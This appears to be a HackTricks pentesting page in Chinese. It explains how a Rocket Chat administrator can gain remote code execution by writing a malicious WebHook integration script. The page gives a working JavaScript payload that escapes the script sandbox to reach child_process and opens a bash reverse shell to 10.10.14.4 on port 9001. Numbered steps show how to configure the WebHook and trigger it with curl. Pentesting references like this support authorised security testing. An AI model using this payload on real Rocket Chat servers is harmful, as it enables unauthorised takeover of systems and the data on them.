Rocket Chat
Reading time: 1 minute
RCE
如果你是 Rocket Chat 的管理员,你可以获得 RCE。
- 转到
Integrations,选择New Integration,并选择任意一个:Incoming WebHook或Outgoing WebHook。 /admin/integrations/incoming
.png)
- 根据 docs,两者都使用 ES2015 / ECMAScript 6 (基本上是 JavaScript) 来处理数据。所以让我们获取一个 rev shell for javascript,例如:
javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
- 配置 WebHook(频道和以用户名发布必须存在):
.png)
- 配置 WebHook 脚本:
.png)
- 保存更改
- 获取生成的 WebHook URL:
.png)
- 使用 curl 调用它,你应该收到 rev shell
HackTricks